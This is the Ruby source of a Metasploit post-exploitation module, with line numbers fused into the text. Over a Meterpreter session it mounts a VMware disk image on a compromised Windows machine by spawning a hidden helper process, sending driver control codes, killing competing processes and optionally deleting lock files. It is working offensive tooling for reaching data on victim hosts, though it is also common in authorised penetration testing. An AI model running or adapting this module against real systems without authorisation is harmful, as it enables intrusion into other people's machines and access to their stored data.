Path: blob/master/modules/post/windows/manage/vmdk_mount.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::FileSystem8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Manage VMDK Mount Drive',15'Description' => %q{16This module mounts a vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage17of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the18device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with19extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots20or clones are linked from the file.21},22'License' => MSF_LICENSE,23'Author' => 'Borja Merino <bmerinofe[at]gmail.com>',24'References' => [25['URL', 'http://www.shelliscoming.com/2017/05/post-exploitation-mounting-vmdk-files.html']26],27'Platform' => ['win'],28'SessionTypes' => ['meterpreter'],29'Compat' => {30'Meterpreter' => {31'Commands' => %w[32stdapi_fs_delete_file33stdapi_fs_ls34stdapi_fs_stat35stdapi_railgun_api36stdapi_sys_process_execute37stdapi_sys_process_get_processes38stdapi_sys_process_getpid39stdapi_sys_process_kill40]41}42},43'Notes' => {44'Stability' => [CRASH_SAFE],45'SideEffects' => [IOC_IN_LOGS],46'Reliability' => []47}48)49)5051register_options(52[53OptString.new('VMDK_PATH', [true, 'Full path to the .vmdk file']),54OptString.new('DRIVE', [true, 'Mount point (drive letter)', 'Z']),55OptBool.new('READ_MODE', [true, 'Open file in read-only mode', true]),56OptBool.new('DEL_LCK', [true, 'Delete .vmdk lock file', false]),57]58)59end6061def run62vol = datastore['DRIVE'][0].upcase63vmdk = datastore['VMDK_PATH']64if vol.count('EFGHIJKLMNOPQRSTUVWXYZ') == 065print_error('Wrong drive letter. Choose another one')66return67end6869drives = get_drives70if drives.include? vol71print_error("The following mount points already exists: #{drives}. Choose another one")72return73end7475# Using stat instead of file? to check if the file exists due to this https://github.com/rapid7/metasploit-framework/issues/820276begin77client.fs.file.stat(vmdk)78rescue StandardError79print_error("File #{vmdk} not found")80return81end8283vmware_path = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\vmplayer.exe', 'path')8485if vmware_path.nil?86print_error('VMware installation path not found.')87return88end8990print_status("VMware path: \"#{vmware_path}\"")9192vstor_device = find_vstor2_device93if vstor_device.nil?94return95end9697if !open_mountserver(vmware_path) || !mount_vmdk(vstor_device, vmdk, vol, datastore['READ_MODE'])98return99end100101# Just few seconds to mount the unit and create the lck file102sleep(5)103104if get_drives.include? vol105print_good("The drive #{vol}: seems to be ready")106if datastore['DEL_LCK']107delete_lck(vmdk)108end109else110print_error("The drive couldn't be mounted. Check if a .lck file is blocking the access to the vmdk file")111# Some snapshots could give some problems when are mount in write mode112if !datastore['READ_MODE']113print_status('Try to mount the drive in read only mode')114end115end116end117118# Delete the lck file generated after mounting the drive119def delete_lck(vmdk)120lck_dir = vmdk << '.lck'121begin122files = client.fs.dir.entries(lck_dir)123vprint_status("Directory lock: #{lck_dir}")124rescue Rex::Post::Meterpreter::RequestError125print_status('It was not found a lck directory')126return127end128129files.shift(2)130files.each do |f|131f_path = lck_dir + "\\#{f}"132next if !file?(f_path)133134fd = client.fs.file.open(f_path)135content = fd.read.to_s136fd.close137next unless content.include? 'vixDiskMountServer'138139begin140client.fs.file.rm(f_path)141print_status("Lock file #{f} deleted")142rescue StandardError => e143print_error("Unable to remove file: #{e.message}")144end145end146end147148# Recover the device drive name created by vstor2-mntapi20-shared.sys149def find_vstor2_device150reg_services = 'HKLM\\SYSTEM\\ControlSet001\\Services\\'151devices = registry_enumkeys(reg_services)152vstor2_key = devices.grep(/^vstor2/)153if vstor2_key.none?154print_error("No vstor2 key found on #{reg_services}")155return156end157158device_path = registry_getvaldata(reg_services << vstor2_key[0], 'ImagePath')159160if device_path.nil?161print_error('No image path found for the vstor2 device')162return163end164165device_name = device_path.split('\\')[-1].split('.')[0]166print_status("Device driver name found: \\\\.\\#{device_name}")167device_name.insert(0, '\\\\.\\')168end169170# Mount the vmdk file by sending a magic control code via DeviceIoControl171def mount_vmdk(vstore, vmdk_file, vol, read_mode)172# DWORD value representing the drive letter173i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'.index(vol)174drive_dword = [(0x00000001 << i)].pack('V')175vprint_status("DWORD value for drive #{vol}: = #{drive_dword.inspect}")176177ret = session.railgun.kernel32.CreateFileW(vstore, 'GENERIC_WRITE|GENERIC_READ', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 0, nil)178if ret['GetLastError'] != 0179print_error("Unable to open a handle to the #{vstore} device driver. GetLastError: #{ret['GetLastError']} ")180return false181end182# fd1, fd3 and fd5 are static values used from vixDiskMountApi.dll to build the input buffer183fd1 = "\x24\x01\x00\x00"184fd2 = "\x00\x00\x00\x00"185fd3 = "\xBA\xAB\x00\x00"186fd4 = "\x00\x00\x00\x00"187fd5 = "\x02\x00\x00\x00"188fd6 = "\x00\x00\x00\x00"189path = vmdk_file.ljust 260, "\x00"190if read_mode191fd7 = "\x01\x00\x00\x00"192else193fd7 = "\x00\x00\x00\x00"194end195196# The total length of the buffer should be 292197buffer = fd1 << fd2 << fd3 << fd4 << fd5 << fd6 << drive_dword << path << fd7198199error_code = ''200tries = 0201loop do202ioctl = client.railgun.kernel32.DeviceIoControl(ret['return'], 0x2A002C, buffer, 292, 16348, 16348, 4, nil)203error_code = ioctl['GetLastError']204vprint_status("GetlastError DeviceIoControl = #{error_code}")205tries += 1206break if tries == 3 || (error_code != 31 && error_code != 6)207end208209if error_code == 997 || error_code == 0210client.railgun.kernel32.CloseHandle(ret['return'])211return true212else213print_error("The vmdk file could't be mounted")214return false215end216end217218# Run the hidden vixDiskMountServer process needed to interact with the driver219def open_mountserver(path)220mount_bin = 'vixDiskMountServer.exe'221if !file?(path << mount_bin)222print_error("#{mount_bin} not found in \"#{path}\"")223return false224end225226# If the vixDiskMountServer process is created by VMware (i.e. when the mapping utility is used) it will not be227# possible to mount the file. In this case killing vixDiskMountServer manually from Meterpreter and re-running228# the script could be a solution (although this can raise suspicions to the user).229230# On the other hand, if vixDiskMountServer has been created by Meterpreter it would not be necessary to kill231# the process to run the script again and mount another drive except if you change the mode (write or read only).232# For this reason, to avoid this case, the process is relaunched automatically.233p = session.sys.process.each_process.find { |i| i['name'] == mount_bin }234235if p236if p['ppid'] != session.sys.process.getpid237print_error("An instance of #{mount_bin} is already running by another process")238return false239else240begin241print_status("Killing the #{mount_bin} instance")242session.sys.process.kill(p['pid'])243sleep(1)244rescue ::Rex::Post::Meterpreter::RequestError245print_error("The #{mount_bin} instance depending on Meterpreter could not be killed")246return false247end248end249end250251begin252proc = session.sys.process.execute(path, nil, { 'Hidden' => true })253sleep(1)254print_good("Process #{mount_bin} successfully spawned (Pid: #{proc.pid})")255rescue ::Rex::Post::Meterpreter::RequestError => e256print_error("Binary #{mount_bin} could could not be spawned : #{e}")257return false258end259260true261end262end263264265